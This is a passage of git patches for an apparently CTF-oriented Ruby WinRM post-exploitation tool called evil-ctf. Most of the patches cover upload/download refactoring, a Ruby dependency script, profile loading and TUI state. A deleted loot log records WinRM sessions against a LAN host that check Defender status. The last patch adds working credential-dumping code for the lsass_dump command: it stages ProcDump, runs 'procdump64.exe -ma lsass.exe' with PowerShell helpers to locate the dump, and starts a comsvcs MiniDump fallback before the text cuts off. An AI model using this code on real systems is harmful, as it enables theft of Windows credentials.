fm.upload(local_path, tmp_remote) + @logger&.info("[Uploader] Using file manager upload via adapter for #{local_path} -> #{tmp_remote}") + fm.upload(local_path: local_path, remote_path: tmp_remote) # mark as completed begin EvilCTF::AppState.instance.set_upload(upload_id, { name: File.basename(local_path), total: File.size(local_path), sent: File.size(local_path) }) @@ -171,7 +171,7 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU end return true rescue => e - @logger&.warn("[Uploader] WinRM::FS upload failed, falling back: #{e.message}") + @logger&.warn("[Uploader] File manager upload failed, falling back: #{e.message}") begin EvilCTF::AppState.instance.clear_upload(upload_id) rescue @@ -377,25 +377,25 @@ def download_file(remote_path, local_path, xor_key: nil, allow_empty: true) raise ::EvilCTF::Errors::DownloadError, 'Remote path not found' end - # Prefer WinRM::FS + # Prefer adapter file manager fm = @shell_adapter.respond_to?(:file_manager) ? @shell_adapter.file_manager : nil if fm begin - @logger&.info("[Downloader] Using WinRM::FS to download #{remote_path} -> #{local_path}") + @logger&.info("[Downloader] Using file manager to download #{remote_path} -> #{local_path}") tmp_local = local_path + ".winrmfs.tmp" if fm.respond_to?(:download) - fm.download(remote_path, tmp_local) + fm.download(remote_path: remote_path, local_path: tmp_local) elsif fm.respond_to?(:read) - fm.read(remote_path, tmp_local) + fm.read(remote_path: remote_path, local_path: tmp_local) else - raise 'WinRM::FS file manager does not implement download/read' + raise 'File manager does not implement download/read' end FileUtils.mkdir_p(File.dirname(local_path)) FileUtils.mv(tmp_local, local_path) @logger&.info("[Downloader] Download complete: #{local_path}") return true rescue => e - @logger&.warn("[Downloader] WinRM::FS download failed, falling back: #{e.message}") + @logger&.warn("[Downloader] File manager download failed, falling back: #{e.message}") end end diff --git a/loot/placeholder.txt b/loot/placeholder.txt deleted file mode 100644 index 8b13789..0000000 --- a/loot/placeholder.txt +++ /dev/null @@ -1 +0,0 @@ - diff --git a/loot/session_test.log b/loot/session_test.log deleted file mode 100644 index 4c30c42..0000000 --- a/loot/session_test.log +++ /dev/null @@ -1,215 +0,0 @@ -[2026-01-04 12:57:58 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 12:57:58 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 12:57:58 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 12:57:58 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 12:57:58 -0700] upload_file => true -[2026-01-04 12:57:59 -0700] download_file => false -[2026-01-04 12:57:59 -0700] CommandManager.expand_macro ran -[2026-01-04 12:57:59 -0700] [+] Session test completed -[2026-01-04 13:06:14 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:06:14 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:06:14 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:06:14 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:06:14 -0700] upload_file => true -[2026-01-04 13:06:14 -0700] download_file => true -[2026-01-04 13:06:14 -0700] compare => equal=false -[2026-01-04 13:06:14 -0700] CommandManager.expand_macro ran -[2026-01-04 13:06:14 -0700] [+] Session test completed -[2026-01-04 13:11:42 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:11:42 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:11:42 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:11:42 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:11:42 -0700] upload_file => ok=true local_hash=87d287899a015f6f652aa657d683e35048cb6ddec34ecc65a22eb7fe107ffe1d remote_hash= -[2026-01-04 13:11:42 -0700] download_file => true -[2026-01-04 13:11:42 -0700] compare => equal=false -[2026-01-04 13:11:42 -0700] CommandManager.expand_macro ran -[2026-01-04 13:11:42 -0700] [+] Session test completed -[2026-01-04 13:12:00 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:12:00 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:12:00 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:12:00 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:12:00 -0700] upload_file => ok=true local_hash=a32c88126442afe79bf0bca58449bb48bea8c85d0f9749fe35008e756bb39ade remote_hash=A32C88126442AFE79BF0BCA58449BB48BEA8C85D0F9749FE35008E756BB39ADE -[2026-01-04 13:12:00 -0700] download_file => true -[2026-01-04 13:12:00 -0700] compare => equal=true -[2026-01-04 13:12:00 -0700] CommandManager.expand_macro ran -[2026-01-04 13:12:00 -0700] [+] Session test completed -[2026-01-04 13:18:08 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:18:08 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:18:08 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:18:08 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:18:09 -0700] upload_file => ok=true local_hash=ba98ef50109650cd60cf5bcc03f720837bbb9cca9b4a0dca342ae2dc9f3f5802 remote_hash=34E8EA3B4EA649D951E88483AE281A381A403B1B237E5ABF13F386E67B48C1A9 -[2026-01-04 13:18:09 -0700] download_file => true -[2026-01-04 13:18:09 -0700] compare => equal=false -[2026-01-04 13:18:09 -0700] CommandManager.expand_macro ran -[2026-01-04 13:18:09 -0700] [+] Session test completed -[2026-01-04 13:18:36 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:18:37 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:18:37 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:18:37 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:18:37 -0700] upload_file => ok=true local_hash=25d9631815df140d39b3ccfd59f26d1057681068bde23d27606d7183524c4eff remote_hash=106544B0AF7BA282E98C0ED31E4B4C0F8E3544D35CD5BEA8FE353D4A31956FCA -[2026-01-04 13:18:37 -0700] download_file => true -[2026-01-04 13:18:37 -0700] compare => equal=false -[2026-01-04 13:18:37 -0700] CommandManager.expand_macro ran -[2026-01-04 13:18:37 -0700] [+] Session test completed -[2026-01-04 13:19:09 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:19:09 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:19:09 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:19:09 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:19:10 -0700] upload_file => ok=true local_hash=e387b0f24b77752ea79173c80add24d2deb2ae809a84ea3ea72d7010b39cb240 remote_hash=309C3CE4AF94C642C354439F03AE1465948590CEFC784BFB637DF9A2C66E4974 -[2026-01-04 13:19:10 -0700] download_file => true -[2026-01-04 13:19:10 -0700] compare => equal=false -[2026-01-04 13:19:10 -0700] CommandManager.expand_macro ran -[2026-01-04 13:19:10 -0700] [+] Session test completed -[2026-01-04 13:19:37 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:19:37 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:19:37 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:19:38 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:19:38 -0700] upload_file => ok=true local_hash=fb2df7797e7915c8a947de53b306fb8d3fca2dfddb17c4e92631a564c83b9f8c remote_hash=3D5CB44A4B09285BA16C0DE769AC5E2C41CCD613D2C81E69DDF4B8DF14F791EF -[2026-01-04 13:19:38 -0700] download_file => true -[2026-01-04 13:19:38 -0700] compare => equal=false -[2026-01-04 13:19:38 -0700] CommandManager.expand_macro ran -[2026-01-04 13:19:38 -0700] [+] Session test completed -[2026-01-04 13:19:52 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:19:52 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:19:52 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:19:52 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:19:52 -0700] upload_file => ok=true local_hash=d44bb45d6836055242d15768feec0df1243c83d497c8d0cd4d4afe35b8735969 remote_hash=38111FF10CB3F53EDB3F030C183A23A3D5E27B08804B4930ACF75A0CF8102B0B -[2026-01-04 13:19:52 -0700] download_file => true -[2026-01-04 13:19:52 -0700] compare => equal=false -[2026-01-04 13:19:52 -0700] CommandManager.expand_macro ran -[2026-01-04 13:19:52 -0700] [+] Session test completed -[2026-01-04 13:20:11 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:20:11 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:20:11 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:20:11 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:20:11 -0700] upload_file => ok=true local_hash=0bb5416f1aba9f09dae03eff0805e109783218bcaf2d4c2ed577e2a292565702 remote_hash=AA8142FFE8A7A11F0B16A798F2A78D4ABE2DFC88BAE11A3D7BF64A1D4690E73E -[2026-01-04 13:20:11 -0700] download_file => true -[2026-01-04 13:20:11 -0700] compare => equal=false -[2026-01-04 13:20:11 -0700] CommandManager.expand_macro ran -[2026-01-04 13:20:11 -0700] [+] Session test completed -[2026-01-04 13:20:12 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:20:13 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:20:13 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:20:13 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:20:13 -0700] upload_file => ok=true local_hash=e941cdcb8964b1f1eb078a75913b051c4608387bd5a4e11102ada63cba4ef3d1 remote_hash=F70CC8AEA06158CFA3C141D7BB83392E9F9B7BAA2CA599D29E6F92E7AB3A1427 -[2026-01-04 13:20:13 -0700] download_file => true -[2026-01-04 13:20:13 -0700] compare => equal=false -[2026-01-04 13:20:13 -0700] CommandManager.expand_macro ran -[2026-01-04 13:20:13 -0700] [+] Session test completed -[2026-01-04 13:20:14 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:20:14 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:20:14 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:20:14 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:20:15 -0700] upload_file => ok=true local_hash=017fb3e7911410123a598d696afd078d2ba94629d5332a1933879e90a43daad9 remote_hash=4C020B3CCEE47D3C9A866EC4816C7EE02635EAA30FFFAD2569E1DD9D8DA7D256 -[2026-01-04 13:20:15 -0700] download_file => true -[2026-01-04 13:20:15 -0700] compare => equal=false -[2026-01-04 13:20:15 -0700] CommandManager.expand_macro ran -[2026-01-04 13:20:15 -0700] [+] Session test completed -[2026-01-04 13:20:16 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:20:16 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:20:16 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:20:16 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:20:16 -0700] upload_file => ok=true local_hash=30b090a95f787c51cedd76350db9c18c40276c33bd4ad2d9b605a163893f1dfe remote_hash=1C896203B98ECB863E95779DCDA3F423CC3FB8E9F3A8C5D25DD0825E18B4CE22 -[2026-01-04 13:20:16 -0700] download_file => true -[2026-01-04 13:20:16 -0700] compare => equal=false -[2026-01-04 13:20:16 -0700] CommandManager.expand_macro ran -[2026-01-04 13:20:16 -0700] [+] Session test completed -[2026-01-04 13:20:17 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:20:18 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:20:18 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:20:18 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:20:18 -0700] upload_file => ok=true local_hash=17c6f8aa1e8fa7478d1dea51119e939d8da914953e2fa3ef321b230f1e85bb18 remote_hash=DD3D23F055C35FCF2196236F444230453AAF4FEF2323D86DC08A85D000BFC415 -[2026-01-04 13:20:18 -0700] download_file => true -[2026-01-04 13:20:18 -0700] compare => equal=false -[2026-01-04 13:20:18 -0700] CommandManager.expand_macro ran -[2026-01-04 13:20:18 -0700] [+] Session test completed -[2026-01-04 13:20:39 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:20:39 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:20:39 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:20:40 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:20:40 -0700] upload_file => ok=true local_hash=a143eacb01b2d2e7e0ed545d2485e388d03719b300da48ca3c27ba6ee4b7723a remote_hash=0FA93356F6DC635E83566751BF004045140A9DB406695DDBCB4323A37F05F4A0 tmp_hash= -[2026-01-04 13:20:40 -0700] download_file => true -[2026-01-04 13:20:40 -0700] compare => equal=false -[2026-01-04 13:20:40 -0700] CommandManager.expand_macro ran -[2026-01-04 13:20:40 -0700] [+] Session test completed -[2026-01-04 13:20:53 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:20:53 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:20:53 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:20:53 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:20:53 -0700] upload_file => ok=true local_hash=adc7eb85bd549bac4e011913ae887eb1f6db96929b3922424184c4108a71d6e1 remote_hash=74E6CCC84200DD916411D66FD0C725EF01805D4DE62AB031F4C032BF5CBBDADC tmp_hash= -[2026-01-04 13:20:53 -0700] download_file => true -[2026-01-04 13:20:53 -0700] compare => equal=false -[2026-01-04 13:20:53 -0700] CommandManager.expand_macro ran -[2026-01-04 13:20:53 -0700] [+] Session test completed -[2026-01-04 13:22:43 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:22:43 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:22:43 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:22:43 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:22:43 -0700] ERROR upload: ArgumentError: unknown keyword: :logger -[2026-01-04 13:22:43 -0700] download_file => true -[2026-01-04 13:22:43 -0700] compare => equal=false -[2026-01-04 13:22:43 -0700] CommandManager.expand_macro ran -[2026-01-04 13:22:43 -0700] [+] Session test completed -[2026-01-04 13:23:05 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:23:06 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:23:06 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:23:06 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:23:06 -0700] ERROR upload: ArgumentError: unknown keyword: :logger -[2026-01-04 13:23:06 -0700] download_file => true -[2026-01-04 13:23:06 -0700] compare => equal=false -[2026-01-04 13:23:06 -0700] CommandManager.expand_macro ran -[2026-01-04 13:23:06 -0700] [+] Session test completed -[2026-01-04 13:23:39 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:23:39 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:23:39 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:23:39 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:23:39 -0700] ERROR upload: ArgumentError: unknown keyword: :logger -[2026-01-04 13:23:39 -0700] download_file => true -[2026-01-04 13:23:39 -0700] compare => equal=false -[2026-01-04 13:23:39 -0700] CommandManager.expand_macro ran -[2026-01-04 13:23:39 -0700] [+] Session test completed -[2026-01-04 13:24:03 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:24:03 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:24:03 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:24:04 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:24:04 -0700] ABOUT TO CALL UPLOAD wrapper -[2026-01-04 13:24:04 -0700] ERROR upload: ArgumentError: unknown keyword: :logger -[2026-01-04 13:24:04 -0700] download_file => true -[2026-01-04 13:24:04 -0700] compare => equal=false -[2026-01-04 13:24:04 -0700] CommandManager.expand_macro ran -[2026-01-04 13:24:04 -0700] [+] Session test completed -[2026-01-04 13:24:18 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:24:19 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:24:19 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:24:19 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:24:19 -0700] ABOUT TO CALL UPLOAD wrapper -[2026-01-04 13:24:19 -0700] ERROR upload: ArgumentError: unknown keyword: :logger -[2026-01-04 13:24:19 -0700] download_file => true -[2026-01-04 13:24:19 -0700] compare => equal=false -[2026-01-04 13:24:19 -0700] CommandManager.expand_macro ran -[2026-01-04 13:24:19 -0700] [+] Session test completed -[2026-01-04 13:24:56 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:24:56 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:24:56 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:24:56 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:24:56 -0700] ABOUT TO CALL UPLOAD wrapper -[2026-01-04 13:24:56 -0700] mkdir output: OK -[2026-01-04 13:24:56 -0700] init output: INIT -[2026-01-04 13:24:56 -0700] chunk 0 output: CHUNK 0 -[2026-01-04 13:24:57 -0700] tmp_hash raw output: F0D70252D6A97FF16E83599D179F8459D958D747CF924F3AB3D97AFC9685F2C2 -[2026-01-04 13:24:57 -0700] move output: MOVED -[2026-01-04 13:24:57 -0700] final_hash raw output: F0D70252D6A97FF16E83599D179F8459D958D747CF924F3AB3D97AFC9685F2C2 -[2026-01-04 13:24:57 -0700] upload_file => ok=true local_hash=f0d70252d6a97ff16e83599d179f8459d958d747cf924f3ab3d97afc9685f2c2 remote_hash=F0D70252D6A97FF16E83599D179F8459D958D747CF924F3AB3D97AFC9685F2C2 tmp_hash=F0D70252D6A97FF16E83599D179F8459D958D747CF924F3AB3D97AFC9685F2C2 -[2026-01-04 13:24:57 -0700] download_file => true -[2026-01-04 13:24:57 -0700] compare => equal=true -[2026-01-04 13:24:57 -0700] CommandManager.expand_macro ran -[2026-01-04 13:24:57 -0700] [+] Session test completed -[2026-01-04 13:27:17 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:27:17 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:27:17 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:27:18 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:27:18 -0700] upload_file => ok=true local_hash=d3626c830308ed8451cc721fb3b24f62e69e9235a41f5f9719a1fd2ad58a95cf remote_hash=D3626C830308ED8451CC721FB3B24F62E69E9235A41F5F9719A1FD2AD58A95CF tmp_hash=D3626C830308ED8451CC721FB3B24F62E69E9235A41F5F9719A1FD2AD58A95CF -[2026-01-04 13:27:18 -0700] download_file => true -[2026-01-04 13:27:18 -0700] compare => equal=true -[2026-01-04 13:27:18 -0700] CommandManager.expand_macro ran -[2026-01-04 13:27:18 -0700] [+] Session test completed diff --git a/scripts/migrate_ruby4_dependencies.sh b/scripts/migrate_ruby4_dependencies.sh new file mode 100755 index 0000000..9664d75 --- /dev/null +++ b/scripts/migrate_ruby4_dependencies.sh @@ -0,0 +1,48 @@ +#!/usr/bin/env bash +set -euo pipefail + +ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +cd "$ROOT_DIR" + +REQUIRED_BUNDLER="4.0.10" + +if ! command -v bundle >/dev/null 2>&1; then + echo "[!] bundler is not installed" >&2 + exit 1 +fi + +if ! command -v ruby >/dev/null 2>&1; then + echo "[!] ruby is not installed" >&2 + exit 1 +fi + +echo "[*] Ruby: $(ruby --version)" +echo "[*] Bundler: $(bundle --version)" + +echo "[*] Removing stale bundle artifacts" +rm -rf vendor/bundle .bundle/config Gemfile.lock + +echo "[*] Configuring local bundle path" +bundle _${REQUIRED_BUNDLER}_ config set --local path vendor/bundle + +echo "[*] Regenerating lockfile for linux" +bundle _${REQUIRED_BUNDLER}_ lock --add-platform x86_64-linux + +echo "[*] Installing dependencies" +bundle _${REQUIRED_BUNDLER}_ install + +echo "[*] Verifying lockfile metadata" +if ! awk '/^BUNDLED WITH$/ {getline; gsub(/^ +| +$/, "", $0); print $0}' Gemfile.lock | grep -qx "${REQUIRED_BUNDLER}"; then + echo "[!] Gemfile.lock BUNDLED WITH is not ${REQUIRED_BUNDLER}" >&2 + exit 1 +fi + +if ! grep -Eq '^ x86_64-linux(-gnu)?$' Gemfile.lock; then + echo "[!] Gemfile.lock is missing x86_64-linux platform entry" >&2 + exit 1 +fi + +echo "[*] Running smoke test" +bundle _${REQUIRED_BUNDLER}_ exec ruby bin/evil-ctf.rb --help >/dev/null + +echo "[+] Ruby 4.0 dependency migration complete" From 54b138e25071f02b13eb7d2fff116e49f2791840 Mon Sep 17 00:00:00 2001 From: giveen Date: Mon, 20 Apr 2026 23:06:29 -0600 Subject: [PATCH 17/17] Refactor TUI flow and harden lsass_dump fallback/download --- lib/config/profiles.rb | 67 ++++ lib/evil_ctf/app_state.rb | 72 +++- lib/evil_ctf/cli.rb | 15 +- lib/evil_ctf/command_dispatcher.rb | 89 ++++- lib/evil_ctf/tools.rb | 6 +- lib/evil_ctf/tui.rb | 508 +++++++++++++++++++++-------- lib/evil_ctf/tui_controller.rb | 296 +++++++++++++++++ lib/evil_ctf/uploader/client.rb | 187 ++++++++++- 8 files changed, 1076 insertions(+), 164 deletions(-) create mode 100644 lib/config/profiles.rb create mode 100644 lib/evil_ctf/tui_controller.rb diff --git a/lib/config/profiles.rb b/lib/config/profiles.rb new file mode 100644 index 0000000..90fa9de --- /dev/null +++ b/lib/config/profiles.rb @@ -0,0 +1,67 @@ +# frozen_string_literal: true + +require 'yaml' + +module EvilCTF + module Config + module Profiles + module_function + + def root_path(default) + default || File.expand_path('../..', __dir__) + end + + def load_profiles(root_path: nil) + root = self.root_path(root_path) + profile_file = File.join(root, 'config', 'profiles.yaml') + return {} unless File.exist?(profile_file) + + data = YAML.load_file(profile_file) + data.is_a?(Hash) ? symbolize_hash(data) : {} + rescue StandardError + {} + end + + def load_profile(name:, root_path: nil) + return nil if name.to_s.strip.empty? + + root = self.root_path(root_path) + local_file = File.join(root, 'profiles', "#{name}.yaml") + if File.exist?(local_file) + data = YAML.load_file(local_file) + if data.is_a?(Hash) + # If the file is wrapped in a top-level profile key, prefer that object. + nested = data[name.to_s] || data[name.to_sym] + return symbolize_hash(nested) if nested.is_a?(Hash) + return symbolize_hash(data) + end + end + + profiles = load_profiles(root_path: root) + profile = profiles[name.to_sym] || profiles[name.to_s.to_sym] + profile.is_a?(Hash) ? symbolize_hash(profile) : nil + rescue StandardError + nil + end + + def profile_names(root_path: nil) + root = self.root_path(root_path) + names = [] + + profiles_dir = File.join(root, 'profiles') + if Dir.exist?(profiles_dir) + Dir.glob(File.join(profiles_dir, '*.yaml')).sort.each do |path| + names << File.basename(path, '.yaml') + end + end + + names.concat(load_profiles(root_path: root).keys.map(&:to_s)) + names.uniq.sort + end + + def symbolize_hash(hash) + hash.each_with_object({}) { |(k, v), out| out[k.to_sym] = v } + end + end + end +end diff --git a/lib/evil_ctf/app_state.rb b/lib/evil_ctf/app_state.rb index 6b1fe0c..a17009c 100644 --- a/lib/evil_ctf/app_state.rb +++ b/lib/evil_ctf/app_state.rb @@ -20,6 +20,16 @@ def initialize @cli_input = '' @cli_history = [] @menu_open = nil + @screen_width = 100 + @screen_height = 30 + @pane_focus = :sidebar + @layout_version = 0 + @pending_connection = {} + @settings = { + logging_enabled: false, + theme: 'default', + scrollback_limit: 300 + } end attr_reader :mutex @@ -40,6 +50,15 @@ def set_active_session(s) @mutex.synchronize { @active_session = s } end + # Alias for controller APIs that refer to current session. + def current_session + active_session + end + + def set_current_session(s) + set_active_session(s) + end + def running_tasks @mutex.synchronize { @running_tasks.dup } end @@ -104,6 +123,33 @@ def set_menu_open(sym) @mutex.synchronize { @menu_open = sym } end + def pane_focus + @mutex.synchronize { @pane_focus } + end + + def set_pane_focus(focus) + @mutex.synchronize { @pane_focus = focus } + end + + def screen_size + @mutex.synchronize { [@screen_width, @screen_height] } + end + + def set_screen_size(width, height) + @mutex.synchronize do + @screen_width = width.to_i + @screen_height = height.to_i + end + end + + def layout_version + @mutex.synchronize { @layout_version } + end + + def bump_layout_version + @mutex.synchronize { @layout_version += 1 } + end + def append_result(line) @mutex.synchronize do @results_buffer << line.to_s @@ -118,7 +164,8 @@ def results_snapshot def append_stream(line) @mutex.synchronize do @stream_buffer << line.to_s - @stream_buffer.shift while @stream_buffer.size > 300 + limit = [@settings[:scrollback_limit].to_i, 50].max + @stream_buffer.shift while @stream_buffer.size > limit end end @@ -137,5 +184,28 @@ def set_upload(id, info) def clear_upload(id) @mutex.synchronize { @uploads.delete(id) } end + + def settings + @mutex.synchronize { @settings.dup } + end + + def set_setting(key, value) + @mutex.synchronize { @settings[key.to_sym] = value } + end + + def toggle_setting(key) + @mutex.synchronize do + sym = key.to_sym + @settings[sym] = !@settings[sym] + end + end + + def pending_connection + @mutex.synchronize { @pending_connection.dup } + end + + def set_pending_connection(data) + @mutex.synchronize { @pending_connection = (data || {}).dup } + end end end diff --git a/lib/evil_ctf/cli.rb b/lib/evil_ctf/cli.rb index 1cd8221..5ec3d3f 100644 --- a/lib/evil_ctf/cli.rb +++ b/lib/evil_ctf/cli.rb @@ -4,6 +4,7 @@ require 'optparse' require_relative 'session' require_relative 'connection' +require_relative '../config/profiles' module EvilCTF module CLI @@ -76,16 +77,10 @@ def self.run(argv) # Profile loading: merge profile if --profile is given if options[:profile] - prof = nil - # Try profiles/NAME.yaml first, then config/profiles.yaml - prof_path1 = File.expand_path("../../profiles/#{options[:profile]}.yaml", __dir__) - prof_path2 = File.expand_path("../../config/profiles.yaml", __dir__) - if File.exist?(prof_path1) - prof = YAML.load_file(prof_path1) - elsif File.exist?(prof_path2) - all_profiles = YAML.load_file(prof_path2) - prof = all_profiles[options[:profile].to_s] if all_profiles - end + prof = EvilCTF::Config::Profiles.load_profile( + name: options[:profile], + root_path: File.expand_path('../..', __dir__) + ) if prof # Accept all keys from profile, including username, user, password, hash, port, ssl, etc. options.merge!(prof.transform_keys(&:to_sym)) diff --git a/lib/evil_ctf/command_dispatcher.rb b/lib/evil_ctf/command_dispatcher.rb index 69aa2b6..758856f 100644 --- a/lib/evil_ctf/command_dispatcher.rb +++ b/lib/evil_ctf/command_dispatcher.rb @@ -184,9 +184,92 @@ def register_core_commands EvilCTF::Tools.safe_autostage('procdump', shell, session_options, logger) command_manager = session_options[:command_manager] command_manager.expand_macro('lsass_dump', shell, webhook: session_options[:webhook]) - EvilCTF::Uploader.download_file('C:\\Users\\Public\\lsass.dmp', - "loot/lsass_#{session_options[:ip]}.dmp", - shell) + + locate_ps = <<~PS + try { + $files = Get-ChildItem -LiteralPath 'C:\\Users\\Public' -File -ErrorAction SilentlyContinue | + Where-Object { $_.Name -like 'lsass*.dmp*' } | + Sort-Object LastWriteTime -Descending + if ($files -and $files.Count -gt 0) { + "FOUND::" + $files[0].FullName + } else { + "MISSING" + } + } catch { + "ERROR::" + $_.Exception.Message + } + PS + + resolve_dump_path = lambda do + locate_res = shell.run(locate_ps) + locate_out = locate_res&.output.to_s + found_line = locate_out.lines.map(&:strip).find { |ln| ln.start_with?('FOUND::') } + dump_path = found_line ? found_line.sub('FOUND::', '').strip : nil + [dump_path, locate_out] + end + + dump_path, locate_out = resolve_dump_path.call + + unless dump_path + puts '[*] No dump from initial macro run; retrying ProcDump with explicit diagnostics...' + procdump_retry_ps = <<~PS + try { + $exe = 'C:\\Users\\Public\\procdump64.exe' + if (!(Test-Path -LiteralPath $exe)) { + "RETRY_ERROR::ProcDump not found at $exe" + } else { + $target = 'C:\\Users\\Public\\lsass_retry.dmp' + & $exe -accepteula -ma lsass.exe $target 2>&1 | ForEach-Object { $_.ToString() } + "RETRY_EXIT::$LASTEXITCODE" + } + } catch { + "RETRY_ERROR::" + $_.Exception.Message + } + PS + retry_res = shell.run(procdump_retry_ps) + retry_out = retry_res&.output.to_s + retry_out.lines.each { |ln| puts "[procdump] #{ln.strip}" unless ln.to_s.strip.empty? } + if retry_out.include?('RETRY_EXIT::-1073741515') + puts '[!] ProcDump failed with STATUS_DLL_NOT_FOUND (-1073741515). Target likely lacks required runtime/DLL dependencies for this binary.' + end + + dump_path, locate_out = resolve_dump_path.call + end + + unless dump_path + puts '[*] ProcDump still did not produce a file; attempting comsvcs MiniDump fallback...' + comsvcs_ps = <<~PS + 